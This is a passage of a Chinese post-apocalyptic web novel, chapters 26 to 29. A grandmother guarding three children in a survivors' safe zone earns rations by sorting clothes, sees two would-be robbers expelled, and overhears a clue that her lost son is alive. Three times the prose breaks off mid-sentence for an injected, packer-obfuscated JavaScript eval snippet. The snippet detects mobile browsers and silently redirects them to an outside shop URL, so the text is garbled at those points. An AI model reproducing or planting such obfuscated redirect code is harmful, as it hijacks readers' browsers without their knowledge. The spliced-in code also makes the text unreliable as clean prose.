她先轻轻探了探身边三个孩子的额头,温度平稳,呼吸均匀,一个个蜷缩在旧衣物下面,睡得还算安稳。小宝眉头依旧微微蹙着,大概是梦里还记着仓库里的惊吓;乐乐双手搭在身前,保持着几分下意识的戒备;妞妞则把小脑袋埋在臂弯里,嘴角微微抿着,模样乖巧。王桂香动作极轻地帮他们把露在外面的胳膊塞回去,又把边角卷起的衣物往下扯了扯,挡住清晨的凉风,这才轻手轻脚挪到窝棚门口,掀开一道细小的缝隙,朝外张望。
天色微亮,远处的治安队巡逻灯还未熄灭,昏黄的光点在雾气里忽明忽暗。通道上已经有了零星人影,大多是和她一样一夜不敢深睡的老人,或是要赶早去劳作的青壮年,一个个沉默地走着,脚步声细碎又压抑,没有交谈,没有嬉笑,连咳嗽都刻意压低了声音。安全区的秩序是靠隐忍和克制维持的,谁都清楚,一旦喧闹争执引来混乱,最先遭殃的,永远是老人和孩子这样没有反抗能力的人。
王桂香靠在门框上,轻轻活动了一下肩膀。连日奔波、彻夜紧绷,浑身的骨头像是被拆开又胡乱拼回去一般,每动一下都带着酸涩的钝痛,手腕因为昨夜紧紧攥着柴刀,到现在还微微发麻。她低头看了看自己的双手,布满裂口、老茧厚重,指关节红肿,手背还有几道新添的划伤,都是在荒野、棚户区和昨夜暗自戒备时留下的。这双手早已不再是末世前能洗衣做饭、种地缝补的安稳模样,而是一双时刻用来防备、用来挣扎、用来护住孩子的手。
26. 第 26 章
她深深吸了一口清晨微凉的空气,没有荒野的腐臭,没有棚户区的腥气,只有潮湿的泥土味和远处柴火淡淡的烟气,可她心里没有半分松懈。昨夜那两个歹人的对话,还清晰地留在耳边——“老太太带三个孩子,看着就好欺负”“说不定藏着吃的”。在末世里,弱小就是原罪,一老三小、无依无靠、看起来温顺无害,就是旁人眼中可以随意掠夺、欺凌的目标。以前在荒野,是怕邪祟、怕巡逻队;现在到了看似安稳的安全区,怕的却是人心,是藏在同是幸存者面孔下的贪婪与歹意。
没过多久,身边传来轻微的响动,乐乐先醒了过来。这孩子经历过离散和逃亡,比同龄孩子要沉稳警觉,醒来没有立刻出声,只是先睁着眼打量了一圈窝棚,看清是在熟悉的地方,身旁有奶奶和同伴,紧绷的身体才缓缓放松。他慢慢坐起身,没有惊动小宝和妞妞,轻手轻脚走到王桂香身边,压低声音喊了一句:“奶奶。”
“醒了?”王桂香回头,伸手摸了摸他的头,声音同样放得很轻,“冷不冷?再歇一会儿,等天再亮些,咱去领早饭。”
乐乐摇了摇头,小大人一样抿着嘴,目光看向门口,带着几分昨夜留下的不安:“奶奶,昨天晚上的坏人,还会来吗?”
王桂香心头一酸,蹲下身,轻轻按住他的肩膀,眼神坚定:“不怕,有奶奶在,还有林爷爷,治安队的同志也在附近巡逻,他们不敢再来。往后在外面,少说话,不跟陌生人走,不管谁给吃的,都不能要,牢牢跟在奶奶身边,记住了吗?”
乐乐认真地点了点头,小脸上满是郑重:“我记住了,我还会看着小宝和妞妞,不让他们乱跑。”
王桂香看着他懂事的模样,心里又暖又涩。末世硬生生把一个本该无忧无虑的孩子,逼得提前学会了警惕和担当。她没再多说,只是拉着乐乐走到角落,用林生留下的半盆清水,帮他擦了擦脸和手。冷水刺骨,乐乐却咬着牙没吭声,只是微微皱了皱眉。
紧接着,小宝和妞妞也陆续醒了。妞妞醒来还有些迷糊,揉着眼睛小声撒娇,依赖地拽住王桂香的衣角;小宝则依旧沉默,眼神安静地落在王桂香身上,只有在确认奶奶就在身边时,才会稍稍柔和几分。王桂香挨个帮孩子们打理干净,把偏大的旧衣物整理好,不让衣角拖在地上沾染灰尘,也避免孩子不小心绊倒。
等几人收拾妥当,外面的天光已经彻底亮开,广场方向传来志愿者轻声维持秩序的声音,清晨的食物分发开始了。林生一早就已经出门,他要提前去物资分拣点报到,争取多干一些活,多换一点口粮,临走前特意掀开布帘叮嘱,让王桂香带着孩子安心领饭,不要乱跑,他中午会抽空回来看看。
王桂香牵着三个孩子,排成一列,妞妞走在最内侧,小宝在中间,乐乐靠外侧护着,沿着窝棚之间狭窄的通道,慢慢朝着中央广场走去。通道上的人比昨日更多,往来的幸存者大多面色疲惫,手里拿着破旧的碗盆,沉默地排队,彼此保持着不远不近的距离。有人目光扫过王桂香一行人,停留一瞬,便很快移开,没有好奇打探,也没有恶意打量,这是安全区里不成文的规矩——不窥探、不议论、不招惹,各自保全。
广场上的队伍排得很长,却井然有序,没有推搡,没有争抢。志愿者坐在长桌后面,一个登记核对人数,一个负责盛粥、分发玉米饼和咸菜,动作麻利,语气平和。值守的治安队队员站在广场四角,目光平静巡视,没有刻意威慑,却足以压下潜藏的躁动。
王桂香带着孩子排在队伍末尾,目光不动声色地观察四周。她特意留意了人群中年轻力壮、神色游移的男人,仔细对比,没有发现昨夜那两个歹人的身影,心里稍稍安定,却依旧没有放松警惕。她还看到,广场公告栏前围了不少人,一个个仰头看着上面的纸张,有人面露失望,有人神色黯淡,有人低声叹息,想必都是在看寻亲启事和各类消息,和她一样,在一片废墟里,寻找着亲人的踪迹。
队伍缓缓向前移动,每一个领到食物的人,都会低声道谢,然后默默走到角落,安静进食。没有人边吃边喧哗,没有人浪费残渣,哪怕是掉在地上的一点饼屑,都会有人弯腰捡起来,吹干净灰尘放进嘴里。经历过长期饥饿的人,最懂得食物的重量,每一口粗粮,都是活下去的希望。
终于轮到王桂香一行人。负责登记的依旧是昨日那个年轻小伙,抬头看到她,微微点头,语气平和:“大娘,还是四个人对吧?”
“是,麻烦同志了。”王桂香微微躬身,态度恭敬谨慎。
小伙快速记下信息,旁边的中年志愿者熟练地拿出四张玉米饼、四碗稀粥,还有一小撮咸菜,分别递到他们手里。大概是看三个孩子实在瘦弱,又看王桂香一身伤痕、步履疲惫,志愿者不动声色地多塞了半块饼在妞妞手里,声音压低:“孩子小,多吃一口,扛得住。”
王桂香眼眶一热,差点当场落泪,连忙点头道谢,声音有些发哽:“多谢同志,多谢你……”
志愿者只是淡淡一笑,没有多说,转头招呼下一个人。在这样的世道里,一句多余的同情都显得奢侈,这样不动声色的关照,才最是难得,也最是戳心。
王桂香带着孩子走到昨日僻静的角落,蹲下身,让孩子们慢慢吃。稀粥温热,玉米饼粗糙却扎实,咸菜咸涩,却能勾起食欲。三个孩子吃得小心翼翼,小口咀嚼,舍不得下咽,妞妞捧着多出来的半块饼,没有自己独吞,而是掰成三份,分给乐乐和小宝各一小块,剩下的一点点,递到王桂香嘴边:“奶奶吃。”
王桂香心里一暖,摇了摇头,把饼推回去:“奶奶不饿,妞妞自己吃。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509496|202936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
她自己只是捧着稀粥,小口喝着,把手里的玉米饼一点点掰碎,分给三个孩子。她年纪大了,代谢慢,少吃一顿撑得住,孩子正是长身体的时候,又长期营养不良、受惊吓,必须多补充一点。看着孩子们小口进食、眼神渐渐有了光彩,她心里比自己吃饱还要踏实。
就在几人安静吃饭的时候,不远处传来一阵细碎的议论声,声音压得很低,却还是断断续续飘进王桂香耳中。
“……听说了吗?西边棚户区那伙人,最近总往安全区窜,夜里偷东西、抢粮食,已经好几户遭了殃。”
“真的假的?治安队不管吗?”
“管不过来,安全区这么大,人手少,外面还要防着感染者和非法基地的人,哪能处处顾到。我听说,昨夜就有人摸到中间这片窝棚了,好像就是一户老人带孩子的……”
王桂香心头猛地一紧,握着瓷碗的手指瞬间收紧。旁人议论的,分明就是昨夜发生在他们家门口的事。消息传得这么快,意味着他们这一老三小、容易被欺负的印象,已经在小范围里传开了。往后,说不定不只是一两个歹人,还会有更多心怀不轨的人,盯上他们。
她不动声色地低头,继续喂妞妞喝粥,脸上没有露出半分异样,耳朵却紧紧留意着周围的对话。
“……那家人也真是可怜,无依无靠的,幸好没出事。我看啊,要么找个靠山,要么就赶紧离开,待在这,早晚要被盯上。”
“别乱说,被有心人听到要惹麻烦。咱自己顾好自己就够了,少管闲事。”
议论声渐渐平息,人群恢复了之前的沉默。可王桂香的心,却一点点沉了下去。她清楚,这些议论没有恶意,只是幸存者最现实的判断——没有靠山、没有劳力、老弱相依,在安全区里,就是最弱势、最容易被蚕食的一群人。所谓靠山,她根本不敢奢望;离开安全区,更是死路一条,外面荒野、邪祟、巡逻队无处不在,带着三个孩子,根本活不过三天。
唯一的出路,就是尽快靠自己劳作换取口粮,不彻底依附他人,同时保持警惕,不露出任何软弱可欺的模样,还要和林生一家紧紧相依,互相照应。
吃完早饭,王桂香带着孩子把碗碟送回回收处,没有立刻回窝棚,而是绕到公告栏前,混在人群里,仔细查看上面的纸张。大部分是寻亲启事,密密麻麻写着姓名、年龄、样貌、失散地点,有的还附着模糊不清的照片。她一张一张认真看,目光在每一个男孩的信息上停留,仔仔细细寻找着“张强”两个字,还有和小宝相关的线索。
公告栏上的寻亲启事很多,同名的也有几个,可一一对照信息,没有一个是她要找的儿子张强。王桂香心里难免失望,却也没有绝望。至少没有消息,就意味着还可能活着,只要人还活着,总有找到的一天。
27. 第 27 章
她默默记下公告栏更新的时间,打算以后每天都过来看看,不放过任何一丝可能。
从公告栏离开,王桂香按照昨日和林生约定好的,带着三个孩子,朝着安全区西侧的物资分拣点走去。分拣点在一片空旷的场地,四周用简易的木栅栏围起来,里面堆着如山的物资——废弃衣物、破损工具、废旧金属、包装破损的粮食、晒干的野菜、各类瓶瓶罐罐。这些都是从城外废墟、废弃车辆、倒塌房屋里搜集回来的,经过分拣、清洗、修补,还能继续使用。
场地里已经有不少人在劳作,大多是妇女和老人,各自守着一堆物资,默默分拣,动作熟练,没有人偷懒,也没有人交谈。多干一点,就能多换一点食物;偷懒懈怠,当天的口粮就会减少。在末世里,劳作和食物直接挂钩,容不得半点松懈。
林生已经在里面忙活,他负责分拣金属和工具,手上沾满油污,额头上渗着细密的汗珠。看到王桂香过来,他停下手里的活,走到栅栏边,对着里面一个穿着志愿者马甲、负责记工的中年男人说道:“老赵,这是我跟你提过的王大娘,想在这找点轻活干,照看孩子的同时,整理整理衣物,你看行吗?”
被称作老赵的男人抬起头,打量了王桂香一眼,又看了看她身边的三个孩子,眉头微微皱了皱:“林生,不是我不帮忙,带着孩子干活不方便,孩子要是乱跑,碰倒了物资,或者出事,谁也担待不起。”
“赵同志,俺保证看好孩子。”王桂香连忙上前,语气诚恳,“不让他们离开俺身边,安安静静坐在角落,不吵不闹,不碰任何东西。俺能干细活,缝补、清洗、分类衣物都行,手脚麻利,绝不偷懒,只求换一口吃的,不让孩子饿肚子。”
她说话语气谦卑,却透着一股韧劲,眼神坚定,没有丝毫卑微乞求。老赵看着她一身伤痕却眼神刚强,又看三个孩子安静乖巧、紧紧依偎在她身边,沉默片刻,点了点头:“行吧,既然你这么说,我就给你个机会。就在边上分拣干净衣物,分类叠好,破损的挑出来,能补的补,不能补的剪成布条。一天下来,能分完两堆,就给一张饼、一碗粥。孩子小,不算劳力,我额外给半块饼,够他们垫垫。但是丑话说在前头,孩子要是闹事,影响其他人,我立刻让你们走,绝不留情。”
“多谢赵同志!多谢你!俺一定看好孩子,好好干活!”王桂香连连道谢,心里一块石头终于落地。有活干,就有口粮,就不用一直依靠林生,就能在安全区里站稳一点点脚跟。
老赵指了指角落一堆已经初步清洗过的旧衣物:“就在那干吧,安静,也不挡着别人。”
王桂香连忙道谢,牵着三个孩子走到角落,找了一块干净的空地,让孩子们安静坐在身边,不许乱跑、不许说话、不许触碰身边的杂物。三个孩子很懂事,乖乖坐着,要么看着地面,要么轻轻小声说话,没有吵闹,没有乱跑,引得旁边劳作的几个人,时不时投来一瞥目光。
王桂香坐下,拿起一件旧外套,仔细分拣。衣物上沾满灰尘,有的沾着污渍,有的破损开裂,有的还有淡淡的异味。她先抖落灰尘,把干净完好的挑出来,平整叠好;把破损的单独放一堆,等着后续缝补;把实在不能穿的,挑出来剪成布条,布条可以用来包扎、缝补、擦拭,在末世里,一丝一线都不会浪费。
她的动作熟练、细致、速度很快。末世前,她就是做家务、缝补衣物的好手,如今做这些活,得心应手。手指被粗糙的衣物磨得发红,裂口被灰尘刺激得生疼,长时间低头弯腰,颈椎和腰背酸痛难忍,可她一刻也不敢停歇。每多分拣一件衣物,就多一分换取食物的希望,孩子们就多一口吃的。
身边的劳作人员来来往往,没有人交谈,只有衣物摩擦、杂物碰撞的细碎声响。有人累得直不起腰,捶着腰背继续干;有人手指磨破,简单用布条缠一下,继续忙活;有人饿得头晕,就喝一口自带的冷水,咬牙坚持。每个人都在为了一口口粮,拼尽全力。
王桂香偶尔抬头,看向不远处的林生。他干的是重活,搬运金属、整理铁器,汗水浸透了外套,手臂肌肉紧绷,却始终没有停下,时不时朝她这边看一眼,确认她们母子平安,才继续埋头干活。
临近中午,阳光渐渐毒辣,晒在人身上,火辣辣地疼。分拣点的人依旧没有停歇,饥饿和疲惫笼罩着每一个人。妞妞年纪小,坐得久了,有些犯困,小脑袋一点一点的,却还是强撑着,不发出一点声音。小宝沉默地坐在一旁,看着奶奶分拣衣物,偶尔伸手,帮着递一下叠好的衣服,动作轻缓。乐乐则一直保持警惕,目光时不时扫过四周,留意着陌生的身影。
王桂香看在眼里,心疼不已,停下片刻,从怀里悄悄掏出早上志愿者多给的那一点点饼屑,分给三个孩子:“小声吃,垫垫,等晚上回去,咱好好吃饭。”
孩子们小口含着饼屑,一脸满足。
就在这时,分拣点入口处传来一阵骚动,伴随着几声压低的呵斥。王桂香下意识抬头看去,只见几个治安队队员,押着两个年轻男人走进来。男人衣衫不整,脸上带着淤青,神色慌张,正是昨夜在窝棚外徘徊、想要打劫的那两个歹人。
周围劳作的人纷纷停下手里的活,默默看着,没有人敢说话。
“就是这两个人,夜里潜入安全区,意图抢劫,还多次在周边偷盗物资。”一个治安队队员声音洪亮,对着众人说道,“按照安全区规矩,驱逐出安全区,永不允许进入。再有效仿者,一律严惩,绝不姑息!”
两个歹人脸色惨白,连连求饶,却根本无人理会。治安队队员推着他们,朝着出口走去,很快消失在视线里。
人群沉默片刻,又重新恢复了劳作,可
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509497|202936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
每个人的心里,都多了几分敬畏。治安队这一番处置,既是惩罚,也是警示——安全区允许求生,却绝不允许作恶。
王桂香悬了一上午的心,终于彻底放下。治安队说到做到,歹人被驱逐,短时间内,应该不会再有人敢轻易打他们的主意。她深深吸了一口气,重新拿起衣物,动作更快了几分。
正午过后,林生抽空走了过来,手里拿着半块自己省下来的玉米饼,递给王桂香:“大娘,你吃点,别累坏了。”
王桂香连忙推辞:“俺不吃,你干重活,你自己吃。俺能撑住,活干得差不多了,晚上就能换吃的。”
“我没事,扛得住。”林生把饼塞到她手里,压低声音,“刚才治安队押走的那两个人,就是昨夜的歹人,以后安全了。你安心干活,看好孩子,傍晚我帮你一起交活,早点回窝棚。”
王桂香看着手里半块温热的玉米饼,眼眶发热,点了点头,没再多推辞。她把饼掰成三份,分给三个孩子,自己一口没动。
太阳渐渐西斜,临近傍晚,分拣点的劳作结束。王桂香整整干了一天,分拣完三大堆衣物,比约定的还要多。老赵过来检查,看着整齐叠放的衣物、分类清晰的破损衣物和剪好的布条,脸上露出一丝赞许:“大娘,你干活实在,超出不少。今天给你一张半饼,一碗粥,再加一小份野菜。”
王桂香连连道谢,心里满是欣喜。这是她来到安全区后,第一次靠自己的双手,换来口粮。
她牵着三个孩子,和林生一起,朝着窝棚走去。夕阳把他们的影子拉得很长,安全区里炊烟袅袅,透着微弱的烟火气。
回到窝棚,林生去医疗点叫女儿林晓,说好了今天要给孩子们检查身体。王桂香把换来的食物收好,开始烧水、整理窝棚、准备晚饭。孩子们围在她身边,脸上带着轻松的笑意,不再像往日那般惶恐不安。
不多时,林生带着林晓回来了。林晓穿着白色护士服,背着一个破旧的医药包,脸上带着温和的笑意。她今年二十出头,面容清秀,眼神温柔,身上带着一股让人安心的气息。
一进门,林晓就蹲下身,温柔地看着三个孩子:“来,阿姨给你们检查检查身体,看看有没有不舒服。”
她动作轻柔,挨个给孩子们量体温、查看皮肤、检查手脚有没有伤口、询问有没有头晕肚子疼。三个孩子一开始有些拘谨,渐渐被她温和的态度感染,慢慢放松下来,妞妞甚至主动伸出小手,让她查看。
检查下来,孩子们只是长期营养不良、有些轻微皮外伤,没有大病,也没有感染迹象。林晓松了口气,从医药包里拿出一点点药膏,递给王桂香:“大娘,这是消炎愈合的药膏,给孩子抹在伤口上,很快就好。往后有任何不舒服,直接去医疗点找我,不用客气。”
王桂香接过药膏,连声道谢。
28. 第 28 章
林晓又仔细看了看王桂香身上的新旧伤痕,叮嘱道:“大娘,你身上的伤口要及时处理,别感染了。你要是垮了,孩子们就没依靠了。以后劳作别太拼命,量力而行。”
几人围坐在一起,简单吃了晚饭。窝棚不大,却灯火昏黄、人声温和,饭菜粗糙,却暖意融融。王桂香看着身边的孩子、好心的林生父女,心里第一次生出一丝微弱的期盼。
也许前路依旧艰难,也许寻亲之路依旧漫长,也许人心险恶依旧存在,可只要有一口吃食、一方遮风挡雨的窝棚、一丝善意、一份坚守,她就一定能带着孩子,在这乱世里,一步步走下去。
夜色再次降临,安全区渐渐安静。这一次,王桂香心里不再像昨夜那般惶恐不安。歹人被驱逐,治安队严加巡逻,身边有林生父女照应,自己又有了活计口粮。她躺在孩子们身边,手里依旧握着柴刀,却终于能稍稍合上眼睛,浅浅入眠。
只是她不知道,安全区的平静之下,更大的暗流正在涌动。非法基地的搜查范围正在一步步靠近安全区,城外的感染者数量日渐增多,物资消耗越来越快,一场关乎生存的危机,正在悄然逼近。而她寻找儿子张强的线索,也将在不久之后,从一个意想不到的人口中,露出第一丝真正的痕迹。
夜色把安全区裹得严实,只剩零星几盏煤油灯在窝棚间隙里亮着昏黄光晕,风从缝隙钻进来,带着入夜后的凉,却不再像荒野里那样刺骨割人。王桂香把三个孩子挨紧了搂在怀里,用几件叠厚的旧衣盖住他们腿脚,指尖轻轻拂过小宝眉骨那道浅疤——那是小时候在家门口石阶上摔出来的,如今在昏暗光线下浅浅一道,却成了她在千万人里一眼能认出自家孙子的凭据。
孩子们白天跟着在分拣点守了一整天,虽说没干什么重活,可精神一直绷着,此刻吃饱了热粥,沾着暖意,不多时就呼吸匀净,沉沉睡去。妞妞小半个身子压在小宝胳膊上,嘴角微微翘着,大概是做了什么不用挨饿、不用害怕的好梦。乐乐睡相最是警醒,即便睡着了,一只手也轻轻攥着王桂香的衣角,像是生怕一睁眼,身边的人就不见了。
王桂香一动不动坐着,不敢翻身,怕惊扰了三个孩子。她腰背酸疼得厉害,白天低头分拣衣物,整整一个下午没敢直起腰,脖颈僵硬,眼眶也因为长时间盯着布料泛着酸涩。可她一点都不觉得委屈,反倒心里踏实。
靠自己双手换来吃食,不用看人脸色,不用仰人鼻息,更不用时时刻刻担心下一顿在哪里。这种踏实,是从逃出生天之后,第一次真真切切落在心上。
窝棚另一头,林生和女儿林晓还低声说着话,声音压得极低,怕吵到屋里的人。
林晓坐在小板凳上,把白天用剩的棉签、药膏一一收回医药包,白大褂上沾了几点污渍,也没顾得上清理。她累了一整天,声音有些发哑:“爸,今天那两个被赶走的,真是昨晚在你们棚子外头晃的人?”
林生点点头,靠着木板墙,轻轻叹了口气:“错不了,桂香大娘亲眼看见的。要不是我回来得巧,指不定出什么事。安全区看着规矩严,可边角地方、夜里巡逻照不到的地方,还是乱。棚户区那伙人总想着钻空子,老弱妇孺最容易被他们盯上。”
“我今天在医疗点也听人说了,最近好几户单独带孩子的,都丢了干粮和水。”林晓把医药包收好,语气沉了些,“巡逻队人手就那么多,一边要盯着城外,一边要防着基地的人打听消息,还要管内部偷盗抢劫,实在顾不过来。”
王桂香耳朵微微一动。
基地两个字,像一根细针,轻轻扎了她一下。
她身子僵了僵,依旧保持着原来的姿势,眼睛看着熟睡的孩子,心里却一点点提了起来。
她从西边那个基地逃出来,身上背着所谓“邪恶老奶”的名头,在基地管事眼里,她是违抗规矩、私自逃跑、还害得好几个人被邪祟拖走的祸首。一旦被人认出来,不光她自己死路一条,身边三个孩子、就连收留她的林生父女,都要跟着受牵连。
林生压低声音:“我听说,基地的人最近在周边一带盘查得紧,说是要抓逃出来的人,还要‘清剿’藏在城里的散兵、流民。不少从基地逃出来的人,要么被抓回去,要么吓得连夜离开安全区,往更远的县城跑了。”
“那咱们这边……”林晓声音顿了顿,“会不会查到安全区里来?”
“不好说。”林生声音更低,“治安队和基地本来就不是一路人,可真要是对方硬闯,谁也拦不住。真到那时候,乱起来,最先遭殃的还是咱们这些没权没势的普通人。”
林晓沉默片刻,轻声道:“那王大娘他们……”
“我心里有数。”林生轻轻应,“大娘人老实,本分,不惹事,干活也实在。咱们不多嘴,不提她从哪来,平时多照应着点,只要不声张,应该不会有人特意留意。安全区这么多人,谁也不会挨个查根底。”
王桂香闭了闭眼,心口一阵发闷。
她不是不感激林生父女。
恰恰是太感激,才越发害怕自己连累他们。
她这条老命无所谓,活了六十多岁,苦也吃过,福也享过,末世来临,能多活一天都是赚的。可孩子们不行。乐乐、妞妞、小宝,三个孩子都还没好好看过这个世界原来的样子,没吃过一顿饱饭,没穿过一身像样的衣裳,不能因为她,落得一个被抓、被弃、甚至死在荒野的下场。
她指尖微微收紧,触到了铺在干草下的柴刀。
刀身被布裹着,冰凉的触感透过布料传上来,让她稍微镇定了一点。
这一路,刀没离开过身。
在基地,靠它劈过杂物、挡过混乱;在荒野,靠它砍过树枝、开过路;在棚户区,靠它壮过胆,也真真切切做好了同歹人拼命的准备。
她老了,打不过青壮年,可真到了绝境,她敢用这把刀,给孩子们挣一条活
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509498|202936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
路。
“对了,爸,”林晓忽然换了语气,声音轻了不少,像是想起了什么,“我今天照顾一个伤号,是机械厂那边过来搬物资的,胳膊被铁器划了一口子。他闲聊的时候说,他们厂里最近来了一批新人,好多都是末世之前就在城里打工的,老家是周边各个乡镇的。”
林生“嗯”了一声:“机械厂那边人多,杂,消息也多。怎么了?”
“我听那人说,他们厂里有一个人,姓张,名字好像是叫……张强。”
王桂香浑身猛地一僵。
呼吸瞬间停住。
她原本靠在木板上,身子不自觉地微微前倾,耳朵几乎竖了起来,心脏在胸腔里重重一跳,震得胸口发疼。她怕自己听错,怕是连日思念产生的幻觉,一动不敢动,连呼吸都刻意压得极轻。
林生也明显愣了一下:“张强?哪个张强?”
“我也没多问,人家就是随口一提。”林晓回忆着,“说是三四十岁,说话带乡下口音,不是本地城里人。说是末世一开始,和家里人失散了,一直在找老娘和孩子。我当时一听,就想起王大娘要找的人了,她孙子不就是小宝吗?儿子是不是叫张强?”
王桂香的手指死死攥着衣角,指节发白。
是。
是她儿子。
强子。
张强。
末世之前,确实在省城机械厂打工。
她当时一路往省城来,就是奔着机械厂这个方向。只是后来世道乱,工厂停工,人员四散,她连厂区大门都靠近不了,只能一路颠沛流离,从荒野到棚户区,再到安全区,一点点打听,一点点摸索。
无数次,她以为儿子早就不在了。
无数次,她告诉自己,只要没看见尸体,就还活着。
此刻,从林晓嘴里轻飘飘一句“张强”,像一道光,猛地刺破她心里憋了太久的黑暗。
她鼻子一酸,眼泪差点控制不住掉下来。
她拼命忍着,怕惊动孩子,怕让林生父女看出她情绪崩得太厉害,只能一动不动坐着,脊背绷得笔直,心口翻江倒海。
“年纪、口音、找家人……”林生沉吟,“倒是真有点像。大娘天天念叨,儿子叫张强,孙子是小宝,当年就是跟着去机械厂打工,才失散的。”
“就是不敢确定。”林晓轻声说,“我明天上班,再留意一下。那个人不是重伤,就是皮外伤,换个药、包扎一下,差不多就能回去。我想办法多问两句,家里是哪的、孩子多大、叫什么名字。要是真的是……”
林生声音里也多了几分不易察觉的激动:“要是真的,那可太好了。大娘这一路,就是为了找儿子。一家人能团聚,比什么都强。”
“可也别太早就说死,免得空欢喜一场。”林晓谨慎,“重名的人多,情况相似的也多。我问清楚了,确定了,再跟大娘说。不然万一不是,她心里该多难受。”
29. 第 29 章
“你说得对。”林生点头,“沉住气,悄悄问,别声张。机械厂离安全区不算近,中间还要过两道无人区,邪祟多,还有流民。就算真是,怎么见面、怎么把人带过来,都是麻烦事。”
“我知道。”林晓轻声应,“爸,你也别跟大娘说,我怕她一晚上睡不着,白天干活再分心出事。等我问准了,咱们再慢慢想办法。”
“好,我不说。”
两人又低声聊了几句,大多是医疗点的琐事、分拣点的规矩、安全区最近的物资情况。后来林晓看天色实在太晚,便起身拿起医药包,叮嘱林生夜里多留心、看好门户,又轻轻看了一眼熟睡的三个孩子,才轻手轻脚掀开布帘,离开窝棚,回医疗点那边的宿舍。
窝棚里重新安静下来。
林生收拾了一下桌上的碗筷,把剩下的一点点玉米面收好,又检查了一遍门口的布帘有没有系牢,这才躺在角落的干草堆上,不多时,也传来沉稳的呼吸声。
一棚五个人,四个都睡了。
只有王桂香,睁着眼,一直到后半夜。
黑暗里,她一动不动,目光落在小宝的脸上。
儿子还活着。
极有可能,就在机械厂。
也在找她,找小宝。
这个念头,在她心里一遍一遍打转,烫得她心口发颤。
她不是没有盼过,可每一次盼望,换来的都是公告栏上密密麻麻的陌生名字、旁人一句“没见过”、“不知道”、“早就死了”。她早就学会了不抱希望、只做最坏打算。
可这一次,不一样。
名字对得上,年纪对得上,来历对得上,找人的方向也对得上。
只要再确认几句,只要问清楚老家是哪个村、媳妇叫什么、孩子多大、眉骨有没有疤……一切就能水落石出。
她心里又酸又热,眼泪无声顺着眼角往下淌,浸湿了肩头的旧衣。
她想起末世之前,家里虽不富裕,可一家人整整齐齐。儿子下地、打工,儿媳操持家务,她带着小宝,院里种点菜,养几只鸡。日子平淡,可安稳。
一场天灾人祸,家没了,亲人散了,尸横遍野,秩序崩塌。
她一把年纪,拖着一副老骨头,带着三个半大孩子,走尸山、过火海,被人骂、被人赶、被人追杀、被人觊觎。
多少次,她累得一步都走不动,只想躺在地上,再也不起来。
可一想到儿子,一想到小宝,一想到一家人或许还有重逢那天,她就又咬牙爬起来,一步一步往前走。
现在,终于快看见了一点光。
可随之而来的,是更深的担忧。
机械厂离安全区不近,中间要穿过大片废弃城区、烂尾楼、无人小巷。那里邪祟游荡,流民聚集,还有基地的人在盘查。别说一个老太太带着三个孩子,就算是青壮年结伴,也未必能平安走一趟。
儿子在厂里,能不能随便离开?
厂里管事严不严?有没有人限制自由?
林晓去打听,会不会惹来麻烦?会不会被人怀疑?
万一消息走漏,被基地的人知道她就在安全区,所有人都要遭殃。
还有孩子们。
她不能带着孩子们去冒险。
一旦出事,她连自己都保不住,更别说护着三个孩子。
王桂香睁着眼,一夜思绪翻涌。
害怕、期待、紧张、忐忑、犹豫、挣扎……种种情绪缠在一起,压得她喘不过气。她不敢哭出声,只能任由眼泪默默流淌,一只手轻轻搂着小宝,一只手攥着藏在身下的柴刀,刀身冰凉,让她保持清醒。
天快蒙蒙亮时,孩子们翻了个身,哼哼唧唧两声,又沉沉睡去。
王桂香才轻轻挪动身体,缓缓坐直,揉了揉发麻的腿。
她走到门口,掀开一点点布帘。
外面雾气很重,空气湿冷,远处治安队的灯光一点点移动,脚步声沉稳规律。安全区还在沉睡,一切都和往常一样平静。
好像昨晚那几句关于张强、关于机械厂的对话,从来没有发生过。
可王桂香心里清楚。
从这一刻起,一切都不一样了。
她不再只是盲目求生、盲目寻找。
她有了一个明确的方向,一个真切的目标,一个几乎触手可及的希望。
她轻轻放下布帘,回到孩子身边,蹲下身子,一遍遍看着三张熟睡的小脸。
乐乐。
妞妞。
小宝。
她不能冲动。
不能因为自己一时心急,把所有人都拖进险境。
林晓说得对,要先确认,要问准,要沉住气。
等消息确实了,再慢慢想办法。
能见一面,是万幸。
能一家人团聚,是天大的造化。
如果暂时不能,她就在安全区好好活下去,好好干活,护住孩子,等着儿子来找她。
总有一天。
总有一天,他们一家人,还能坐在一起,吃一顿热饭。
天渐渐亮开,雾气慢慢散去。
第一缕天光透过窝棚缝隙照进来,落在孩子们的脸上,柔和温暖。
王桂香轻轻抹掉脸上的泪痕,深吸一口气。
新的一天开始了。
依旧要早起,领饭,干活,警惕,忍耐。
